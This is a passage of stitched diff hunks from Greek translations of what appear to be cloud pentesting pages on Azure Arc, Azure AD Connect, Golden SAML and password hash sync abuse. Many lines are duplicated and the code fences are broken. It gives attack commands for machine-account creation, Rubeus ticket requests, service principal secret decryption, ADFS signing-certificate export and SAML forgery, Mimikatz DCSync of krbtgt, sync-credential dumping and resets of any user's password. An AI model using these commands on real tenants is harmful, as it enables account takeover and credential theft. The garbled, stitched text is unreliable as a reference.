Το Azure Arc επιτρέπει την ενσωμάτωση νέων εσωτερικών διακομιστών (συνδεδεμένων διακομιστών τομέα) στο Azure Arc χρησιμοποιώντας τη μέθοδο Group Policy Object. Για να διευκολυνθεί αυτό, η Microsoft παρέχει ένα εργαλείο ανάπτυξης απαραίτητο για την έναρξη της διαδικασίας onboarding. Μέσα στο αρχείο ArcEnableServerGroupPolicy.zip, μπορούν να βρεθούν τα εξής σενάρια: DeployGPO.ps1, EnableAzureArc.ps1 και AzureArcDeployment.psm1.
Όταν εκτελείται, το script DeployGPO.ps1 εκτελεί τις εξής ενέργειες:
Όταν εκτελείται, το σενάριο DeployGPO.ps1 εκτελεί τις εξής ενέργειες:
1. Δημιουργεί το Azure Arc Servers Onboarding GPO εντός του τοπικού τομέα.
2. Αντιγράφει το script EnableAzureArc.ps1 για το onboarding στη designated network share που έχει δημιουργηθεί για τη διαδικασία onboarding, η οποία περιέχει επίσης το πακέτο εγκατάστασης των Windows.
2. Αντιγράφει το σενάριο onboarding EnableAzureArc.ps1 στο καθορισμένο κοινόχρηστο δίκτυο που έχει δημιουργηθεί για τη διαδικασία onboarding, το οποίο περιέχει επίσης το πακέτο εγκατάστασης των Windows.
Κατά την εκτέλεση αυτού του script, οι διαχειριστές συστημάτων πρέπει να παρέχουν δύο κύριες παραμέτρους: **ServicePrincipalId** και **ServicePrincipalClientSecret**. Επιπλέον, απαιτούνται άλλες παράμετροι όπως ο τομέας, το FQDN του διακομιστή που φιλοξενεί το share και το όνομα του share. Περαιτέρω λεπτομέρειες όπως το tenant ID, η ομάδα πόρων και άλλες απαραίτητες πληροφορίες πρέπει επίσης να παρέχονται στο script.
Κατά την εκτέλεση αυτού του σεναρίου, οι διαχειριστές συστημάτων πρέπει να παρέχουν δύο κύριες παραμέτρους: **ServicePrincipalId** και **ServicePrincipalClientSecret**. Επιπλέον, απαιτούνται άλλες παράμετροι όπως ο τομέας, το FQDN του διακομιστή που φιλοξενεί το κοινόχρηστο, και το όνομα του κοινόχρηστου. Περαιτέρω λεπτομέρειες όπως το tenant ID, η ομάδα πόρων και άλλες απαραίτητες πληροφορίες πρέπει επίσης να παρέχονται στο σενάριο.
Ένα κρυπτογραφημένο μυστικό δημιουργείται στον κατάλογο AzureArcDeploy στο συγκεκριμένο share χρησιμοποιώντας κρυπτογράφηση DPAPI-NG. Το κρυπτογραφημένο μυστικό αποθηκεύεται σε ένα αρχείο με το όνομα encryptedServicePrincipalSecret. Απόδειξη αυτού μπορεί να βρεθεί στο script DeployGPO.ps1, όπου η κρυπτογράφηση εκτελείται καλώντας το ProtectBase64 με $descriptor και $ServicePrincipalSecret ως είσοδοι. Ο περιγραφέας αποτελείται από τα SIDs των ομάδων Domain Computer και Domain Controller, διασφαλίζοντας ότι το ServicePrincipalSecret μπορεί να αποκρυπτογραφηθεί μόνο από τις ομάδες ασφαλείας Domain Controllers και Domain Computers, όπως σημειώνεται στα σχόλια του script.
```powershell
Ένα κρυπτογραφημένο μυστικό δημιουργείται στον κατάλογο AzureArcDeploy στο καθορισμένο κοινόχρηστο χρησιμοποιώντας κρυπτογράφηση DPAPI-NG. Το κρυπτογραφημένο μυστικό αποθηκεύεται σε ένα αρχείο με όνομα encryptedServicePrincipalSecret. Απόδειξη αυτού μπορεί να βρεθεί στο σενάριο DeployGPO.ps1, όπου η κρυπτογράφηση εκτελείται καλώντας το ProtectBase64 με $descriptor και $ServicePrincipalSecret ως είσοδοι. Ο περιγραφέας αποτελείται από τα SIDs της ομάδας Domain Computer και Domain Controller, διασφαλίζοντας ότι το ServicePrincipalSecret μπορεί να αποκρυπτογραφηθεί μόνο από τις ομάδες ασφαλείας Domain Controllers και Domain Computers, όπως σημειώνεται στα σχόλια του σεναρίου.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
3. Έχουμε ανακαλύψει μια κοινή χρήση δικτύου που περιέχει τον φάκελο AzureArcDeploy.
Υπάρχουν αρκετές μέθοδοι για να αποκτήσουμε έναν λογαριασμό μηχανής σε ένα περιβάλλον AD. Μία από τις πιο κοινές είναι η εκμετάλλευση του ποσοστού λογαριασμών μηχανών. Μια άλλη μέθοδος περιλαμβάνει την παραβίαση ενός λογαριασμού μηχανής μέσω ευάλωτων ACL ή διάφορων άλλων κακών ρυθμίσεων.
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Αφού αποκτηθεί ένας λογαριασμός μηχανής, είναι δυνατή η αυθεντικοποίηση χρησιμοποιώντας αυτόν τον λογαριασμό. Μπορούμε είτε να χρησιμοποιήσουμε την εντολή runas.exe με την επιλογή netonly είτε να χρησιμοποιήσουμε pass-the-ticket με το Rubeus.exe.
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
Με την αποθήκευση του TGT για τον λογαριασμό του υπολογιστή μας στη μνήμη, μπορούμε να χρησιμοποιήσουμε το παρακάτω σενάριο για να αποκρυπτογραφήσουμε το μυστικό του service principal.
```powershell
Έχοντας το TGT για τον λογαριασμό του υπολογιστή μας αποθηκευμένο στη μνήμη, μπορούμε να χρησιμοποιήσουμε το παρακάτω σενάριο για να αποκρυπτογραφήσουμε το μυστικό του service principal.
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -4,11 +4,11 @@
## Βασικές Πληροφορίες
Η ενσωμάτωση μεταξύ του **On-premises Active Directory (AD)** και του **Azure AD** διευκολύνεται από το **Azure AD Connect**, προσφέροντας διάφορες μεθόδους που υποστηρίζουν το **Single Sign-on (SSO)**. Κάθε μέθοδος, αν και χρήσιμη, παρουσιάζει πιθανά κενά ασφαλείας που θα μπορούσαν να εκμεταλλευτούν για να παραβιάσουν τα περιβάλλοντα cloud ή on-premises:
Η ενσωμάτωση μεταξύ του **On-premises Active Directory (AD)** και του **Azure AD** διευκολύνεται από το **Azure AD Connect**, προσφέροντας διάφορες μεθόδους που υποστηρίζουν το **Single Sign-on (SSO)**. Κάθε μέθοδος, ενώ είναι χρήσιμη, παρουσιάζει πιθανούς κινδύνους ασφαλείας που θα μπορούσαν να εκμεταλλευτούν για να παραβιάσουν τα περιβάλλοντα cloud ή on-premises:
- **Pass-Through Authentication (PTA)**:
- Πιθανή παραβίαση του πράκτορα στο on-prem AD, επιτρέποντας την επικύρωση των κωδικών πρόσβασης χρηστών για συνδέσεις Azure (on-prem to Cloud).
- Δυνατότητα καταχώρησης ενός νέου πράκτορα για την επικύρωση των αυθεντικοποιήσεων σε μια νέα τοποθεσία (Cloud to on-prem).
- Δυνατότητα εγγραφής ενός νέου πράκτορα για την επικύρωση των αυθεντικοτήτων σε μια νέα τοποθεσία (Cloud to on-prem).
{{#ref}}
pta-pass-through-authentication.md
@@ -43,16 +43,16 @@ az-cloud-kerberos-trust.md
{{#endref}}
- **Default Applications**:
- Η παραβίαση ενός λογαριασμού Διαχειριστή Εφαρμογής ή του on-premise Sync Account επιτρέπει την τροποποίηση ρυθμίσεων καταλόγου, μελών ομάδας, λογαριασμών χρηστών, ιστότοπων SharePoint και αρχείων OneDrive.
- Η παραβίαση ενός λογαριασμού Διαχειριστή Εφαρμογής ή του λογαριασμού Συγχρονισμού on-prem επιτρέπει την τροποποίηση ρυθμίσεων καταλόγου, μελών ομάδας, λογαριασμών χρηστών, ιστότοπων SharePoint και αρχείων OneDrive.
{{#ref}}
az-default-applications.md
{{#endref}}
Για κάθε μέθοδο ενσωμάτωσης, πραγματοποιείται συγχρονισμός χρηστών και δημιουργείται ένας λογαριασμός `MSOL_<installationidentifier>` στο on-prem AD. Σημειώνεται ότι και οι μέθοδοι **PHS** και **PTA** διευκολύνουν το **Seamless SSO**, επιτρέποντας αυτόματη σύνδεση για υπολογιστές Azure AD που έχουν συνδεθεί στο on-prem domain.
Για κάθε μέθοδο ενσωμάτωσης, πραγματοποιείται συγχρονισμός χρηστών και δημιουργείται ένας λογαριασμός `MSOL_<installationidentifier>` στο on-prem AD. Σημειωτέον, οι μέθοδοι **PHS** και **PTA** διευκολύνουν το **Seamless SSO**, επιτρέποντας αυτόματη σύνδεση για υπολογιστές Azure AD που έχουν συνδεθεί στο on-prem domain.
Για να επαληθεύσετε την εγκατάσταση του **Azure AD Connect**, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή PowerShell, χρησιμοποιώντας το module **AzureADConnectHealthSync** (εγκατεστημένο από προεπιλογή με το Azure AD Connect):
```powershell
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,15 +4,15 @@
## Συγχρονισμός χρηστών AzureAD στο on-prem για αναβάθμιση από on-prem σε AzureAD
Για να συγχρονίσετε έναν νέο χρήστη f**rom AzureAD to the on-prem AD** αυτές είναι οι απαιτήσεις:
Για να συγχρονίσετε έναν νέο χρήστη f**από το AzureAD στο on-prem AD** αυτές είναι οι απαιτήσεις:
- Ο **χρήστης AzureAD** πρέπει να έχει μια διεύθυνση proxy (ένα **mailbox**)
- Η άδεια δεν απαιτείται
- Δεν απαιτείται άδεια
- Δεν πρέπει **να έχει ήδη συγχρονιστεί**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Όταν βρεθεί ένας χρήστης όπως αυτοί στο AzureAD, για να **έχετε πρόσβαση σε αυτόν από το on-prem AD** χρειάζεται απλώς να **δημιουργήσετε έναν νέο λογαριασμό** με τη **proxyAddress** το SMTP email.
Όταν βρεθεί ένας χρήστης όπως αυτοί στο AzureAD, για να **έχετε πρόσβαση σε αυτόν από το on-prem AD** χρειάζεται απλώς να **δημιουργήσετε έναν νέο λογαριασμό** με το **proxyAddress** το SMTP email.
Αυτόματα, αυτός ο χρήστης θα **συγχρονιστεί από το AzureAD στον on-prem AD χρήστη**.
@@ -21,7 +21,7 @@ Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, prox
>
> Επίσης, αυτό **δεν θα παρακάμψει το MFA**.
>
> Επιπλέον, έχει αναφερθεί ότι **η συγχρονισμός λογαριασμών δεν είναι πλέον δυνατός για λογαριασμούς διαχειριστών**.
> Επιπλέον, έχει αναφερθεί ότι **ο συγχρονισμός λογαριασμών δεν είναι πλέον δυνατός για λογαριασμούς διαχειριστών**.
## References
@@ -12,7 +12,7 @@
Βασικά, στην Ομοσπονδία, όλη η **αυθεντικοποίηση** πραγματοποιείται στο **τοπικό** περιβάλλον και οι χρήστες απολαμβάνουν SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να **πρόσβαση** σε **εφαρμογές** του **cloud** χρησιμοποιώντας τα **τοπικά διαπιστευτήρια** τους.
**Γλώσσα Σημειώσεων Ασφαλείας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων.
**Γλώσσα Σημείωσης Ασφάλειας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων.
Σε οποιαδήποτε ρύθμιση ομοσπονδίας υπάρχουν τρία μέρη:
@@ -25,7 +25,7 @@
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
1. Αρχικά, μια εφαρμογή (Πάροχος Υπηρεσιών ή SP, όπως το AWS console ή το vSphere web client) προσπελάζεται από έναν χρήστη. Αυτό το βήμα μπορεί να παρακαμφθεί, οδηγώντας τον πελάτη απευθείας στον IdP (Πάροχος Ταυτότητας) ανάλογα με την συγκεκριμένη υλοποίηση.
2. Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημειώσεων Ασφαλείας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP.
2. Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημείωσης Ασφάλειας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP.
3. Ο IdP αναλαμβάνει, αυθεντικοποιώντας τον χρήστη. Μετά την αυθεντικοποίηση, μια SAMLResponse διαμορφώνεται από τον IdP και προωθείται στον SP μέσω του χρήστη.
4. Τέλος, ο SP αξιολογεί την SAMLResponse. Εάν επικυρωθεί επιτυχώς, υποδηλώνοντας μια σχέση εμπιστοσύνης με τον IdP, ο χρήστης αποκτά πρόσβαση. Αυτό σηματοδοτεί την ολοκλήρωση της διαδικασίας σύνδεσης, επιτρέποντας στον χρήστη να χρησιμοποιήσει την υπηρεσία.
@@ -48,7 +48,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
- Στο ADFS, η SAML Response υπογράφεται από ένα πιστοποιητικό υπογραφής token.
- Εάν το πιστοποιητικό παραβιαστεί, είναι δυνατόν να αυθεντικοποιηθεί στο Azure AD ως ΟΠΟΙΟΣΔΗΠΟΤΕ χρήστης συγχρονισμένος με το Azure AD!
- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή η MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή το MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
- Το πιστοποιητικό μπορεί να εξαχθεί από τον διακομιστή AD FS με δικαιώματα DA και στη συνέχεια μπορεί να χρησιμοποιηθεί από οποιαδήποτε μηχανή συνδεδεμένη στο Διαδίκτυο.
- Περισσότερες πληροφορίες στο [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
@@ -56,7 +56,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
Η διαδικασία όπου ένας **Πάροχος Ταυτότητας (IdP)** παράγει μια **SAMLResponse** για να εξουσιοδοτήσει την είσοδο του χρήστη είναι καθοριστική. Ανάλογα με την συγκεκριμένη υλοποίηση του IdP, η **απάντηση** μπορεί να είναι **υπογεγραμμένη** ή **κρυπτογραφημένη** χρησιμοποιώντας το **ιδιωτικό κλειδί του IdP**. Αυτή η διαδικασία επιτρέπει στον **Πάροχο Υπηρεσιών (SP)** να επιβεβαιώσει την αυθεντικότητα της SAMLResponse, διασφαλίζοντας ότι εκδόθηκε πράγματι από έναν αξιόπιστο IdP.
Μπορεί να γίνει μια παράλληλη αναφορά στην [επίθεση golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τα δικαιώματα του χρήστη (KRBTGT για golden tickets, ιδιωτικό κλειδί υπογραφής token για golden SAML) μπορεί να παραποιηθεί για να **δημιουργήσει ένα αντικείμενο αυθεντικοποίησης** (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP.
Μπορεί να γίνει μια παράλληλη αναφορά στην [επίθεση golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τις άδειες του χρήστη (KRBTGT για golden tickets, ιδιωτικό κλειδί υπογραφής token για golden SAML) μπορεί να παραποιηθεί για να **δημιουργήσει ένα αντικείμενο αυθεντικοποίησης** (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP.
Οι Golden SAML προσφέρουν ορισμένα πλεονεκτήματα:
@@ -69,7 +69,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
[Οι Υπηρεσίες Ομοσπονδίας Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) είναι μια υπηρεσία της Microsoft που διευκολύνει την **ασφαλή ανταλλαγή πληροφοριών ταυτότητας** μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας.
Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιαδήποτε δικαιώματα στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιεσδήποτε άδειες στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
Οι απαιτήσεις για την εκτέλεση μιας επίθεσης golden SAML περιλαμβάνουν:
@@ -84,7 +84,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
_Μόνο τα στοιχεία με έντονη γραφή είναι υποχρεωτικά. Τα άλλα μπορούν να συμπληρωθούν κατά βούληση._
Για να αποκτήσετε το **ιδιωτικό κλειδί**, είναι απαραίτητη η πρόσβαση στον **λογαριασμό χρήστη AD FS**. Από εκεί, το ιδιωτικό κλειδί μπορεί να **εξαχθεί από το προσωπικό κατάστημα** χρησιμοποιώντας εργαλεία όπως το [mimikatz](https://github.com/gentilkiwi/mimikatz). Για να συγκεντρώσετε τις άλλες απαιτούμενες πληροφορίες, μπορείτε να χρησιμοποιήσετε το Microsoft.Adfs.Powershell snapin ως εξής, διασφαλίζοντας ότι είστε συνδεδεμένοι ως ο χρήστης ADFS:
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### On-prem -> cloud
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -133,8 +133,8 @@ Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Είναι επίσης δυνατό να δημιουργήσετε ImmutableID χρηστών μόνο στο cloud και να τους μιμηθείτε.
```powershell
Είναι επίσης δυνατό να δημιουργήσετε ImmutableID χρηστών μόνο στο cloud και να τους προσποιηθείτε.
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
@@ -13,42 +13,42 @@
Όλοι οι **χρήστες** και ένα **hash των κωδικών πρόσβασης** συγχρονίζονται από το τοπικό στο Azure AD. Ωστόσο, οι **κωδικοί πρόσβασης σε καθαρό κείμενο** ή οι **αρχικοί** **hashes** δεν αποστέλλονται στο Azure AD.\
Επιπλέον, οι **ενσωματωμένες** ομάδες ασφαλείας (όπως οι διαχειριστές τομέα...) **δεν συγχρονίζονται** στο Azure AD.
Η **συγχρονισμένη καταχώρηση** συμβαίνει κάθε **2 λεπτά**. Ωστόσο, από προεπιλογή, η **λήξη κωδικού πρόσβασης** και η **λήξη λογαριασμού** **δεν συγχρονίζονται** στο Azure AD. Έτσι, ένας χρήστης του οποίου ο **τοπικός κωδικός πρόσβασης έχει λήξει** (δεν έχει αλλάξει) μπορεί να συνεχίσει να **έχει πρόσβαση σε πόρους Azure** χρησιμοποιώντας τον παλιό κωδικό πρόσβασης.
Ο **συγχρονισμός των hashes** συμβαίνει κάθε **2 λεπτά**. Ωστόσο, από προεπιλογή, η **λήξη κωδικού πρόσβασης** και η **λήξη λογαριασμού** **δεν συγχρονίζονται** στο Azure AD. Έτσι, ένας χρήστης του οποίου ο **τοπικός κωδικός πρόσβασης έχει λήξει** (δεν έχει αλλάξει) μπορεί να συνεχίσει να **έχει πρόσβαση σε πόρους Azure** χρησιμοποιώντας τον παλιό κωδικό πρόσβασης.
Όταν ένας τοπικός χρήστης θέλει να αποκτήσει πρόσβαση σε έναν πόρο Azure, η **αυθεντικοποίηση πραγματοποιείται στο Azure AD**.
**PHS** απαιτείται για χαρακτηριστικά όπως **Identity Protection** και AAD Domain Services.
**PHS** απαιτείται για δυνατότητες όπως η **Προστασία Ταυτότητας** και οι Υπηρεσίες Τομέα AAD.
## Pivoting
Όταν το PHS είναι ρυθμισμένο, μερικοί **προνομιούχοι λογαριασμοί** δημιουργούνται αυτόματα:
Όταν το PHS είναι ρυθμισμένο, μερικοί **προνομιακοί λογαριασμοί** δημιουργούνται αυτόματα:
- Ο λογαριασμός **`MSOL_<installationID>`** δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός έχει ρόλο **Directory Synchronization Accounts** (βλ. [τεκμηρίωση](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) που σημαίνει ότι έχει **δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD**.
- Ένας λογαριασμός **`Sync_<name of on-prem ADConnect Server>_installationID`** δημιουργείται στο Azure AD. Αυτός ο λογαριασμός μπορεί να **επαναφέρει τον κωδικό πρόσβασης ΟΠΟΙΟΥΔΗΠΟΤΕ χρήστη** (συγχρονισμένο ή μόνο cloud) στο Azure AD.
- Ο λογαριασμός **`MSOL_<installationID>`** δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός έχει ρόλο **Λογαριασμών Συγχρονισμού Καταλόγου** (βλ. [τεκμηρίωση](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) που σημαίνει ότι έχει **δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD**.
- Ένας λογαριασμός **`Sync_<name of on-prem ADConnect Server>_installationID`** δημιουργείται στο Azure AD. Αυτός ο λογαριασμός μπορεί να **επαναφέρει τον κωδικό πρόσβασης ΟΠΟΙΟΥΔΗΠΟΤΕ χρήστη** (συγχρονισμένου ή μόνο cloud) στο Azure AD.
Οι κωδικοί πρόσβασης των δύο προηγούμενων προνομιούχων λογαριασμών **αποθηκεύονται σε έναν SQL server** στον διακομιστή όπου **είναι εγκατεστημένο το Azure AD Connect.** Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιούχων χρηστών σε καθαρό κείμενο.\
Οι κωδικοί πρόσβασης των δύο προηγούμενων προνομιακών λογαριασμών **αποθηκεύονται σε έναν SQL server** στον διακομιστή όπου **είναι εγκατεστημένο το Azure AD Connect.** Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιακών χρηστών σε καθαρό κείμενο.\
Η βάση δεδομένων βρίσκεται στο `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, ο οποίος είναι κρυπτογραφημένος:
Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, με έναν κρυπτογραφημένο:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
Η **κρυπτογραφημένη διαμόρφωση** είναι κρυπτογραφημένη με **DPAPI** και περιέχει τους **κωδικούς πρόσβασης του `MSOL_*`** χρήστη στο τοπικό AD και τον κωδικό πρόσβασης του **Sync\_\*** στο AzureAD. Επομένως, η παραβίαση αυτών επιτρέπει την ανύψωση προνομίων στο AD και στο AzureAD.
Η **κρυπτογραφημένη διαμόρφωση** είναι κρυπτογραφημένη με **DPAPI** και περιέχει τους **κωδικούς πρόσβασης του χρήστη `MSOL_*`** στο τοπικό AD και τον κωδικό πρόσβασης του **Sync\_\*** στο AzureAD. Επομένως, η παραβίαση αυτών επιτρέπει την ανύψωση προνομίων στο AD και στο AzureAD.
Μπορείτε να βρείτε μια [πλήρη επισκόπηση του πώς αποθηκεύονται και αποκρυπτογραφούνται αυτά τα διαπιστευτήρια σε αυτή την ομιλία](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Finding the **Azure AD connect server**
Εάν ο **διακομιστής όπου είναι εγκατεστημένο το Azure AD connect** είναι συνδεδεμένος στο domain (συνιστάται στα έγγραφα), είναι δυνατή η εύρεση του με:
```powershell
Εάν ο **διακομιστής όπου είναι εγκατεστημένο το Azure AD connect** είναι συνδεδεμένος σε τομέα (συνιστάται στα έγγραφα), είναι δυνατή η εύρεση του με:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Κατάχρηση MSOL\_\*
```powershell
### Κατάχρηση MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -59,10 +59,10 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
> [!CAUTION]
> Μπορείτε επίσης να χρησιμοποιήσετε [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) για να αποκτήσετε αυτά τα διαπιστευτήρια.
### Κατάχρηση Sync\_\*
### Abusing Sync\_\*
Η παραβίαση του **`Sync_*`** λογαριασμού επιτρέπει την **επανεκκίνηση του κωδικού πρόσβασης** οποιουδήποτε χρήστη (συμπεριλαμβανομένων των Παγκόσμιων Διαχειριστών)
```powershell
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Είναι επίσης δυνατό να **τροποποιήσετε τους κωδικούς πρόσβασης μόνο των χρηστών του cloud** (ακόμα και αν αυτό είναι απροσδόκητο)
```powershell
Είναι επίσης δυνατό να **τροποποιηθούν οι κωδικοί πρόσβασης μόνο των χρηστών του cloud** (ακόμα και αν αυτό είναι απροσδόκητο)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
@@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
Είναι επίσης δυνατό να εκχυθεί ο κωδικός πρόσβασης αυτού του χρήστη.
> [!CAUTION]
> Μια άλλη επιλογή θα ήταν να **ανατεθούν προνομιακές άδειες σε έναν υπηρεσιακό κύριο**, τον οποίο ο χρήστης **Sync** έχει **δικαιώματα** να κάνει, και στη συνέχεια να **προσεγγιστεί αυτός ο υπηρεσιακός κύριος** ως τρόπος privesc.
> Μια άλλη επιλογή θα ήταν να **ανατεθούν προνομιακές άδειες σε έναν service principal**, τις οποίες ο χρήστης **Sync** έχει **δικαιώματα** να κάνει, και στη συνέχεια να **προσεγγιστεί αυτός ο service principal** ως τρόπος privesc.
### Seamless SSO
@@ -4,36 +4,36 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η Πιστοποίηση Pass-through του Azure Active Directory (Azure AD) επιτρέπει στους χρήστες σας να **συνδέονται σε εφαρμογές τόσο τοπικές όσο και βασισμένες στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Azure AD, αυτή η δυνατότητα **επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory**.
